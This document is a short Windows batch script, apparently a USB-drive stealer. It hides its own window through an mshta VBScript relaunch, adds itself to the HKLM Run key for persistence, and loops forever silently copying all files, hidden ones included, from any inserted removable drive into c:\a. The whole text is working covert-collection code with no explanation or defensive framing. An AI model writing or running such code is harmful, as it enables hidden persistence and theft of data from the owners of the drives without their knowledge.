@echo off
if "%1" == "h" goto :go
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:go
reg add hkey_local_machine\Software\Microsoft\Windows\CurrentVersion\Run /v run /t REG_SZ /d %0 /f
:loop
for /f "skip=1" %%i in ('wmic LOGICALDISK where "drivetype=2" get name') do (
if not "%%i"=="" xcopy %%i\* c:\a /e/h/r/y/c
)
ping 127.1>nul
goto :loop